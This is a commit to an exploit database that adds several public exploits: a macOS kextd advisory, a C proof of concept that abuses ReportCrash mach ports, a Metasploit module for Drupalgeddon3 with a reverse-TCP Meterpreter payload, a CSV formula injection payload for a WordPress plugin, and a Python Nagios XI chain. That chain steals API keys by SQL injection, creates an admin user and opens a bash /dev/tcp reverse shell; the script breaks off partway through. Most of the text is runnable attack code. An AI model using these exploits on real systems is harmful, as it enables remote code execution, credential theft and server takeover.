DB: 2018-05-01
6 changes to exploits/shellcodes Navicat < 12.0.27 - Oracle Connection Overflow macOS 10.13.2 - Double mach_port_deallocate in kextd due to Failure to Comply with MIG Ownership Rules macOS/iOS - ReportCrash mach port Replacement due to Failure to Respect MIG Ownership Rules Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit) WordPress Plugin Form Maker 1.12.20 - CSV Injection Nagios XI 5.2.[6-9]_ 5.3_ 5.4 - Chained Remote Root
This commit is contained in:
parent
0579cde876
commit
df4d831719
7 changed files with 879 additions and 0 deletions
58
exploits/macos/dos/44561.txt
Normal file
58
exploits/macos/dos/44561.txt
Normal file
|
@ -0,0 +1,58 @@
|
|||
Here's a kextd method exposed via MIG (com.apple.KernelExtensionServer)
|
||||
|
||||
kern_return_t _kextmanager_unlock_kextload(
|
||||
mach_port_t server,
|
||||
mach_port_t client)
|
||||
{
|
||||
kern_return_t mig_result = KERN_FAILURE;
|
||||
|
||||
if (gClientUID != 0) {
|
||||
OSKextLog(/* kext */ NULL,
|
||||
kOSKextLogErrorLevel | kOSKextLogIPCFlag,
|
||||
"Non-root kextutil doesn't need to lock/unlock.");
|
||||
mig_result = KERN_SUCCESS;
|
||||
goto finish;
|
||||
}
|
||||
|
||||
if (client != (mach_port_t)dispatch_source_get_handle(_gKextutilLock)) {
|
||||
OSKextLog(/* kext */ NULL,
|
||||
kOSKextLogErrorLevel | kOSKextLogIPCFlag,
|
||||
"%d not used to lock for kextutil.", client);
|
||||
goto finish;
|
||||
}
|
||||
|
||||
removeKextutilLock();
|
||||
|
||||
mig_result = KERN_SUCCESS;
|
||||
|
||||
finish:
|
||||
// we don't need the extra send right added by MiG
|
||||
mach_port_deallocate(mach_task_self(), client);
|
||||
|
||||
return mig_result;
|
||||
}
|
||||
|
||||
If the client has UID 0 but passes an invalid client port this code will
|
||||
drop a UREF on client port then return KERN_FAILURE.
|
||||
|
||||
Returning KERN_FAILURE in MIG means all resources will be released which will
|
||||
cause client to be passed to mach_port_deallocate again, even though only
|
||||
one UREF was taken.
|
||||
|
||||
You'll have to use a debugger attached to kextd to see this behaviour.
|
||||
|
||||
This class of bug is exploitable; please see the writeup for mach_portal from 2016
|
||||
where I exploited a similar issue [https://bugs.chromium.org/p/project-zero/issues/detail?id=959]
|
||||
The TL;DR is that an attacker can drop an extra UREF on any send rights in kextd for which the
|
||||
attacker also has a send right; you could use this to cause a name for a privileged service
|
||||
to be deallocated then cause the name to be reused to name a port you control.
|
||||
|
||||
Exploitation of this would be a privesc from unentitled root to root with
|
||||
com.apple.rootless.kext-management and com.apple.rootless.storage.KernelExtensionManagement entitlements,
|
||||
which at least last time I looked was equal to kernel code execution.
|
||||
|
||||
tested on MacOS 10.13.2
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44561.zip
|
208
exploits/multiple/dos/44562.c
Normal file
208
exploits/multiple/dos/44562.c
Normal file
|
@ -0,0 +1,208 @@
|
|||
/*
|
||||
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
|
||||
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
|
||||
|
||||
You would normally never send a message yourself to ReportCrash but the kernel would do it
|
||||
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
|
||||
MIG kernel methods you can get a send right to ReportCrash.
|
||||
|
||||
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
|
||||
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
|
||||
|
||||
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
|
||||
|
||||
__text:0000000100002BD5 cmp rbx, rax
|
||||
__text:0000000100002BD8 mov r14d, 5
|
||||
__text:0000000100002BDE jnz loc_100002DCF
|
||||
|
||||
__text:0000000100002DCF mov rbx, cs:_mach_task_self__ptr
|
||||
__text:0000000100002DD6 mov edi, [rbx] ; task
|
||||
__text:0000000100002DD8 mov rsi, qword ptr [rbp+name] ; name
|
||||
__text:0000000100002DDC call _mach_port_deallocate
|
||||
__text:0000000100002DE1 mov edi, [rbx] ; task
|
||||
__text:0000000100002DE3 mov esi, r12d ; name
|
||||
__text:0000000100002DE6 call _mach_port_deallocate
|
||||
__text:0000000100002DEB mov rax, cs:___stack_chk_guard_ptr
|
||||
__text:0000000100002DF2 mov rax, [rax]
|
||||
__text:0000000100002DF5 cmp rax, [rbp+var_30]
|
||||
__text:0000000100002DF9 jnz loc_10000314E
|
||||
__text:0000000100002DFF mov eax, r14d
|
||||
|
||||
|
||||
This error path drops a UREF on the task and thread port arguments then returns error code 5.
|
||||
|
||||
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
|
||||
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
|
||||
be used to replace privileged port names leading to exploitable conditions.
|
||||
|
||||
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
|
||||
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
|
||||
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
|
||||
will get sent their task ports if you can crash them.)
|
||||
|
||||
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
|
||||
what's happening.
|
||||
|
||||
Tested on MacOS 10.13.3 17D47
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
#if 0
|
||||
MacOS/iOS ReportCrash mach port replacement due to failure to respect MIG ownership rules
|
||||
|
||||
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
|
||||
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
|
||||
|
||||
You would normally never send a message yourself to ReportCrash but the kernel would do it
|
||||
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
|
||||
MIG kernel methods you can get a send right to ReportCrash.
|
||||
|
||||
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
|
||||
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
|
||||
|
||||
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
|
||||
|
||||
__text:0000000100002BD5 cmp rbx, rax
|
||||
__text:0000000100002BD8 mov r14d, 5
|
||||
__text:0000000100002BDE jnz loc_100002DCF
|
||||
|
||||
__text:0000000100002DCF mov rbx, cs:_mach_task_self__ptr
|
||||
__text:0000000100002DD6 mov edi, [rbx] ; task
|
||||
__text:0000000100002DD8 mov rsi, qword ptr [rbp+name] ; name
|
||||
__text:0000000100002DDC call _mach_port_deallocate
|
||||
__text:0000000100002DE1 mov edi, [rbx] ; task
|
||||
__text:0000000100002DE3 mov esi, r12d ; name
|
||||
__text:0000000100002DE6 call _mach_port_deallocate
|
||||
__text:0000000100002DEB mov rax, cs:___stack_chk_guard_ptr
|
||||
__text:0000000100002DF2 mov rax, [rax]
|
||||
__text:0000000100002DF5 cmp rax, [rbp+var_30]
|
||||
__text:0000000100002DF9 jnz loc_10000314E
|
||||
__text:0000000100002DFF mov eax, r14d
|
||||
|
||||
|
||||
This error path drops a UREF on the task and thread port arguments then returns error code 5.
|
||||
|
||||
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
|
||||
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
|
||||
be used to replace privileged port names leading to exploitable conditions.
|
||||
|
||||
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
|
||||
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
|
||||
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
|
||||
will get sent their task ports if you can crash them.)
|
||||
|
||||
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
|
||||
what's happening.
|
||||
|
||||
Tested on MacOS 10.13.3 17D47
|
||||
|
||||
build: cp /usr/include/mach/mach_exc.defs . && mig mach_exc.defs && clang -o rc rc.c mach_excUser.c
|
||||
run: sudo ./rc
|
||||
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/task.h>
|
||||
|
||||
#include "mach_exc.h"
|
||||
#include <mach/exception_types.h>
|
||||
|
||||
|
||||
void drop_ref(mach_port_t report_crash_port, mach_port_t target_port) {
|
||||
int flavor = 0;
|
||||
mach_msg_type_number_t new_stateCnt = 0;
|
||||
kern_return_t err = mach_exception_raise_state_identity(
|
||||
report_crash_port,
|
||||
target_port,
|
||||
MACH_PORT_NULL,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
&flavor,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
&new_stateCnt);
|
||||
}
|
||||
|
||||
int main() {
|
||||
int uid = getuid();
|
||||
if (uid != 0) {
|
||||
printf("this PoC should be run as root\n");
|
||||
return 0;
|
||||
}
|
||||
// take a look at our exception ports:
|
||||
exception_mask_t masks[EXC_TYPES_COUNT] = {0};
|
||||
mach_msg_type_number_t count = EXC_TYPES_COUNT;
|
||||
mach_port_t ports[EXC_TYPES_COUNT] = {0};
|
||||
exception_behavior_t behaviors[EXC_TYPES_COUNT] = {0};
|
||||
thread_state_flavor_t flavors[EXC_TYPES_COUNT] = {0};
|
||||
|
||||
kern_return_t err = host_get_exception_ports(mach_host_self(),
|
||||
//kern_return_t err = task_get_exception_ports(mach_task_self(),
|
||||
EXC_MASK_ALL,
|
||||
masks,
|
||||
&count,
|
||||
ports,
|
||||
behaviors,
|
||||
flavors);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to get the exception ports\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("count: %d\n", count);
|
||||
|
||||
mach_port_t report_crash_port = MACH_PORT_NULL;
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
exception_mask_t mask = masks[i];
|
||||
|
||||
printf("port: %x %08x\n", port, mask);
|
||||
|
||||
if (mask & (1 << EXC_RESOURCE)) {
|
||||
report_crash_port = port;
|
||||
}
|
||||
}
|
||||
|
||||
if (report_crash_port == MACH_PORT_NULL) {
|
||||
printf("couldn't find ReportCrash port\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("report crash port: 0x%x\n", report_crash_port);
|
||||
|
||||
// the port we will target:
|
||||
mach_port_t bs = MACH_PORT_NULL;
|
||||
task_get_bootstrap_port(mach_task_self(), &bs);
|
||||
printf("targeting bootstrap port: %x\n", bs);
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
err = bootstrap_look_up(bs, "com.apple.logd", &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up target service\n");
|
||||
return 0;
|
||||
}
|
||||
printf("got service: 0x%x\n", service_port);
|
||||
|
||||
// triggering the bug requires that we send from a different uid
|
||||
// drop to everyone(12)
|
||||
|
||||
int setuiderr = setuid(12);
|
||||
if (setuiderr != 0) {
|
||||
printf("setuid failed...\n");
|
||||
return 0;
|
||||
}
|
||||
printf("dropped to uid 12\n");
|
||||
|
||||
drop_ref(report_crash_port, service_port);
|
||||
|
||||
return 0;
|
||||
}
|
108
exploits/php/remote/44557.rb
Executable file
108
exploits/php/remote/44557.rb
Executable file
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupalgeddon3',
|
||||
'Description' => %q{
|
||||
CVE-2018-7602 / SA-CORE-2018-004
|
||||
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.
|
||||
This potentially allows attackers to exploit multiple attack vectors on a Drupal site
|
||||
Which could result in the site being compromised.
|
||||
This vulnerability is related to Drupal core - Highly critical - Remote Code Execution
|
||||
|
||||
The module can load msf PHP arch payloads, using the php/base64 encoder.
|
||||
|
||||
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'SixP4ck3r', # Research and port to MSF
|
||||
'Blaklis' # Initial PoC
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['SA-CORE', '2018-004'],
|
||||
['CVE', '2018-7602'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'encoder' => 'php/base64',
|
||||
'payload' => 'php/meterpreter/reverse_tcp',
|
||||
},
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => [ARCH_PHP],
|
||||
'Targets' =>
|
||||
[
|
||||
['User register form with exec', {}],
|
||||
],
|
||||
'DisclosureDate' => 'Apr 29 2018',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
|
||||
OptString.new('DRUPAL_NODE', [ true, "Exist Node Number (Page, Article, Forum topic, or a Post)", '1']),
|
||||
OptString.new('DRUPAL_SESSION', [ true, "Authenticated Cookie Session", '']),
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
|
||||
])
|
||||
end
|
||||
|
||||
def uri_path
|
||||
normalize_uri(target_uri.path)
|
||||
end
|
||||
|
||||
def start_exploit
|
||||
drupal_node = datastore['DRUPAL_NODE']
|
||||
res = send_request_cgi({
|
||||
'cookie' => datastore['DRUPAL_SESSION'],
|
||||
'method' => 'GET',
|
||||
'uri' => "#{uri_path}/node/#{drupal_node}/delete"
|
||||
})
|
||||
form_token = res.body.scan( /form_token" value="([^>]*)" \/>/).last.first
|
||||
print "[*] Token Form -> #{form_token}\n"
|
||||
r2 = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => datastore['DRUPAL_SESSION'],
|
||||
'uri' => "#{uri_path}/?q=node/#{drupal_node}/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20'#{payload.encoded}'",
|
||||
'vars_post' => {
|
||||
'form_id' => 'node_delete_confirm',
|
||||
'_triggering_element_name' => 'form_id',
|
||||
'form_token'=> "#{form_token}"
|
||||
}
|
||||
})
|
||||
form_build_id = r2.body.scan( /form_build_id" value="([^>]*)" \/>/).last.first
|
||||
print "[*] Token Form_build_id -> #{form_build_id}\n"
|
||||
r3 = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => datastore['DRUPAL_SESSION'],
|
||||
'uri' => "#{uri_path}/?q=file/ajax/actions/cancel/%23options/path/#{form_build_id}",
|
||||
'vars_post' => {
|
||||
'form_build_id' => "#{form_build_id}"
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
case datastore['TARGET']
|
||||
when 0
|
||||
start_exploit
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Your target is invalid.")
|
||||
end
|
||||
end
|
||||
end
|
25
exploits/php/webapps/44559.txt
Normal file
25
exploits/php/webapps/44559.txt
Normal file
|
@ -0,0 +1,25 @@
|
|||
# Exploit Title: Wordpress Plugin Form Maker version 1.12.20 vulnerable to to Formula Injection (CSV Injection)
|
||||
# Google Dork: N/A
|
||||
# Date: 27-04-2018
|
||||
################################
|
||||
# Exploit Author: Jetty Sairam
|
||||
################################
|
||||
# Software Link: https://wordpress.org/plugins/form-maker/
|
||||
# Affected Version: 1.12.20 and before
|
||||
#Category: Plugins and Extensions
|
||||
# Tested on: WiN7_x64
|
||||
# CVE : CVE-2018-10504
|
||||
|
||||
1. Application Description:
|
||||
Form Maker provides a framework to build custom forms for Joomla users.
|
||||
2. Technical Description:
|
||||
Custom Forms version 1.12.20 is affected by the vulnerability Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine, the command is executed.
|
||||
3. Proof Of Concept:
|
||||
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
|
||||
When high privileged user logs into the application to export form data in CSV and opens the file.
|
||||
Formula gets executed and calculator will get popped in his machine.
|
||||
4. Solution:
|
||||
Upgrade to version 1.12.24
|
||||
https://wordpress.org/plugins/form-maker/
|
||||
5. Reference:
|
||||
https://wordpress.org/plugins/form-maker/#developers
|
450
exploits/php/webapps/44560.py
Executable file
450
exploits/php/webapps/44560.py
Executable file
|
@ -0,0 +1,450 @@
|
|||
# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
|
||||
# Date: 4/17/2018
|
||||
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
|
||||
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
|
||||
# Vendor Homepage: https://www.nagios.com/
|
||||
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
|
||||
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
|
||||
# Tested on: CentOS 6.7
|
||||
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
|
||||
|
||||
import httplib
|
||||
import urllib
|
||||
import ssl
|
||||
import sys
|
||||
import base64
|
||||
import random
|
||||
import time
|
||||
import string
|
||||
import json
|
||||
import re
|
||||
from optparse import OptionParser
|
||||
|
||||
# Print some helpful words:
|
||||
print """
|
||||
###############################################################################
|
||||
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
|
||||
This exploit leverages the vulnerabilities enumerated in these CVES:
|
||||
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]
|
||||
|
||||
More details here:
|
||||
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
|
||||
|
||||
Steps are as follows:
|
||||
|
||||
0. Determine Version
|
||||
1. Change the database user to root:nagiosxi
|
||||
2. Get an API key w/ SQLi
|
||||
3. Use the API Key to add an administrative user
|
||||
4. Login as that administrative user
|
||||
5. Do some authenticated RCE w/ privesc
|
||||
6. Cleanup.
|
||||
###############################################################################
|
||||
"""
|
||||
# TODO: Figure out what port it's running on, 80 or 443.
|
||||
|
||||
def parse_apikeys(resp):
|
||||
begin_delim = 'START_API:'
|
||||
end_delim = ':END_API'
|
||||
|
||||
start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
|
||||
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]
|
||||
|
||||
unique_keys = []
|
||||
|
||||
for i, index in enumerate(start_indecies):
|
||||
start_index = index + len(begin_delim)
|
||||
end_index = end_indecies[i]
|
||||
key = resp[start_index:end_index]
|
||||
if not key in unique_keys:
|
||||
unique_keys.append(key)
|
||||
|
||||
return unique_keys
|
||||
|
||||
def parse_nsp_str(resp):
|
||||
begin_delim = 'var nsp_str = "'
|
||||
end_delim = '";\n'
|
||||
|
||||
start_index = resp.find(begin_delim) + len(begin_delim)
|
||||
resp = resp[start_index:]
|
||||
end_index = resp.find(end_delim)
|
||||
|
||||
return resp[:end_index]
|
||||
|
||||
def parse_cmd_id(resp, cmdname):
|
||||
|
||||
begin_delim = "'"
|
||||
end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)
|
||||
|
||||
end_idx = resp.find(end_delim)
|
||||
|
||||
resp = resp[:end_idx]
|
||||
resp = resp[resp.rfind(begin_delim)+1:]
|
||||
|
||||
return resp
|
||||
|
||||
def parse_nagiosxi(resp):
|
||||
resp = str(resp)
|
||||
begin_delim = 'Set-Cookie: nagiosxi='
|
||||
end_delim = ';'
|
||||
|
||||
# find the last instance of the nagiosxi cookie...
|
||||
start_index = resp.rfind(begin_delim) + len(begin_delim)
|
||||
resp = resp[start_index:]
|
||||
end_index = resp.find(end_delim)
|
||||
|
||||
return resp[:end_index]
|
||||
|
||||
def parse_version(resp):
|
||||
resp = str(resp)
|
||||
begin_delim = 'name="version" value="'
|
||||
end_delim = '"'
|
||||
|
||||
start_index = resp.rfind(begin_delim) + len(begin_delim)
|
||||
resp = resp[start_index:]
|
||||
end_index = resp.find(end_delim)
|
||||
|
||||
return resp[:end_index]
|
||||
def change_db_user(usr, pwd, step):
|
||||
|
||||
url = '/nagiosql/admin/settings.php'
|
||||
headers = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded'}
|
||||
|
||||
params = urllib.urlencode({
|
||||
'txtRootPath':'nagiosql',
|
||||
'txtBasePath':'/var/www/html/nagiosql/',
|
||||
'selProtocol':'http',
|
||||
'txtTempdir':'/tmp',
|
||||
'selLanguage':'en_GB',
|
||||
'txtEncoding':'utf-8',
|
||||
'txtDBserver':'localhost',
|
||||
'txtDBport':3306,
|
||||
'txtDBname':'nagiosql',
|
||||
'txtDBuser': usr,
|
||||
'txtDBpass':pwd,
|
||||
'txtLogoff':3600,
|
||||
'txtLines':15,
|
||||
'selSeldisable':1
|
||||
})
|
||||
|
||||
print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
|
||||
print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)
|
||||
|
||||
con = httplib.HTTPConnection(RHOST, 80)
|
||||
con.set_debuglevel(0)
|
||||
con.request("POST", url, params, headers=headers)
|
||||
|
||||
resp = con.getresponse()
|
||||
con.close()
|
||||
|
||||
return resp
|
||||
|
||||
# Disable SSL Cert validation
|
||||
if hasattr(ssl, '_create_unverified_context'):
|
||||
ssl._create_default_https_context = ssl._create_unverified_context
|
||||
|
||||
# Parse command line args:
|
||||
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
|
||||
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"
|
||||
|
||||
parser = OptionParser(usage=usage)
|
||||
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
|
||||
help="Target Nagios XI host")
|
||||
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
|
||||
help="Host listening for reverse shell connection")
|
||||
parser.add_option("-p", '--LPORT', dest='lport', action="store",
|
||||
help="Port on which nc is listening")
|
||||
parser.add_option("-c", '--cmd', dest='cmd', action="store",
|
||||
help="Run a custom command, no reverse shell for you.")
|
||||
|
||||
(options, args) = parser.parse_args()
|
||||
|
||||
if not options.rhost:
|
||||
parser.error("[!] No remote host specified.\n")
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
RHOST = options.rhost
|
||||
LHOST = options.lhost
|
||||
LPORT = options.lport
|
||||
if options.cmd:
|
||||
cmd = options.cmd
|
||||
else:
|
||||
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)
|
||||
|
||||
################################################################
|
||||
# REQUEST ZERO: GET NAGIOS VERSION
|
||||
################################################################
|
||||
|
||||
url0 = '/nagiosxi/login.php'
|
||||
headers0 = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded'}
|
||||
|
||||
print "[+] STEP 0: Get Nagios XI version string."
|
||||
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)
|
||||
|
||||
con0 = httplib.HTTPConnection(RHOST, 80)
|
||||
con0.set_debuglevel(0)
|
||||
con0.request("POST", url0, headers=headers0)
|
||||
r0 = con0.getresponse()
|
||||
|
||||
r0_resp = r0.read()
|
||||
version = parse_version(r0_resp)
|
||||
ver_int = int(version.split('.')[1])
|
||||
|
||||
con0.close()
|
||||
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)
|
||||
|
||||
################################################################
|
||||
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
|
||||
################################################################
|
||||
|
||||
|
||||
r1 = change_db_user('root', 'nagiosxi', '1')
|
||||
|
||||
if r1.status == 302:
|
||||
print "[+] STEP 1: Received a 302 Response. That's good!"
|
||||
else:
|
||||
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
|
||||
exit()
|
||||
|
||||
|
||||
################################################################
|
||||
# REQUEST TWO: GET THE API KEY USING SQLi
|
||||
################################################################
|
||||
|
||||
print ""
|
||||
url2 = '/nagiosql/admin/helpedit.php'
|
||||
headers2 = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded'}
|
||||
|
||||
# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
|
||||
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
|
||||
print sqli_param
|
||||
|
||||
params2 = urllib.urlencode({
|
||||
'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
|
||||
'hidKey1':'common',
|
||||
'selInfoKey2':'free_variables_name',
|
||||
'hidKey2':'',
|
||||
'selInfoVersion':'',
|
||||
'hidVersion':'',
|
||||
'taContent':'',
|
||||
'modus':0,
|
||||
'':''
|
||||
})
|
||||
|
||||
print "[+] STEP 2: Exploiting SQLi to extract user API keys."
|
||||
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)
|
||||
|
||||
con2 = httplib.HTTPConnection(RHOST, 80)
|
||||
con2.set_debuglevel(1)
|
||||
con2.request("POST", url2, params2, headers=headers2)
|
||||
r2 = con2.getresponse()
|
||||
|
||||
if r2.status == 302:
|
||||
print "[+] STEP 2: Received a 302 Response. That's good!"
|
||||
else:
|
||||
print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
|
||||
exit()
|
||||
|
||||
con2.close()
|
||||
|
||||
r2_resp = r2.read()
|
||||
api_keys = parse_apikeys(r2_resp)
|
||||
random.shuffle(api_keys)
|
||||
|
||||
if len(api_keys) > 0:
|
||||
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
|
||||
for key in api_keys:
|
||||
print "[+] {0}".format(key)
|
||||
else:
|
||||
print "[!] No API keys found! Oh no. Exiting..."
|
||||
exit()
|
||||
|
||||
|
||||
################################################################
|
||||
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
|
||||
################################################################
|
||||
|
||||
print ""
|
||||
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
|
||||
headers3 = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded'}
|
||||
|
||||
# Generate the sketchiest username possibe :D
|
||||
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
|
||||
# And also the worlds best password
|
||||
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
|
||||
|
||||
params3 = urllib.urlencode({
|
||||
'username':sploit_username,
|
||||
'password':sploit_password,
|
||||
'name':'Firsty Lasterson',
|
||||
'email':'{0}@localhost'.format(sploit_username),
|
||||
'auth_level':'admin',
|
||||
'force_pw_change':0
|
||||
})
|
||||
|
||||
print "[+] STEP 3: Using API Keys to add an administrative user..."
|
||||
|
||||
found_it = False
|
||||
for i, key in enumerate(api_keys):
|
||||
url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
|
||||
print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)
|
||||
|
||||
con3 = httplib.HTTPConnection(RHOST, 80)
|
||||
con3.set_debuglevel(0)
|
||||
con3.request("POST", url3_try, params3, headers=headers3)
|
||||
r3 = con3.getresponse()
|
||||
r3_contents = r3.read()
|
||||
|
||||
if r3.status == 200:
|
||||
print "[+] STEP 3: Received a 200 Response. That's good!"
|
||||
if "was added successfully" in r3_contents:
|
||||
print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
|
||||
print "[+] STEP 3: Moving to Step 4...."
|
||||
found_it = True
|
||||
con3.close()
|
||||
break
|
||||
else:
|
||||
"[!] STEP 3: API_KEY access was denied. That's bad."
|
||||
continue
|
||||
else:
|
||||
print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
|
||||
continue
|
||||
|
||||
print "[!] STEP 3: Failed to add a user. Try some more API keys..."
|
||||
con3.close()
|
||||
|
||||
if found_it == False:
|
||||
print "[!] STEP 3: Step 3 failed.... oh no!"
|
||||
|
||||
################################################################
|
||||
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
|
||||
################################################################
|
||||
|
||||
print ""
|
||||
print "[+] STEP 4.1: Authenticate as user TODO."
|
||||
print "[+] STEP 4.1: Get NSP for login..."
|
||||
url4p1 = '/nagiosxi/login.php'
|
||||
headers4p1 = {'Host' : RHOST}
|
||||
params4p1 = ""
|
||||
|
||||
con4p1 = httplib.HTTPConnection(RHOST, 80)
|
||||
con4p1.set_debuglevel(0)
|
||||
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
|
||||
r4p1 = con4p1.getresponse()
|
||||
|
||||
r4p1_resp = r4p1.read()
|
||||
|
||||
login_nsp = parse_nsp_str(r4p1_resp)
|
||||
login_nagiosxi = parse_nagiosxi(r4p1.msg)
|
||||
|
||||
con4p1.close()
|
||||
|
||||
print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
|
||||
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)
|
||||
|
||||
# 4.2 ---------------------------------------------------------------
|
||||
|
||||
print "[+] STEP 4.2: Authenticating..."
|
||||
|
||||
url4p2 = '/nagiosxi/login.php'
|
||||
headers4p2 = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded',
|
||||
'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
|
||||
params4p2 = urllib.urlencode({
|
||||
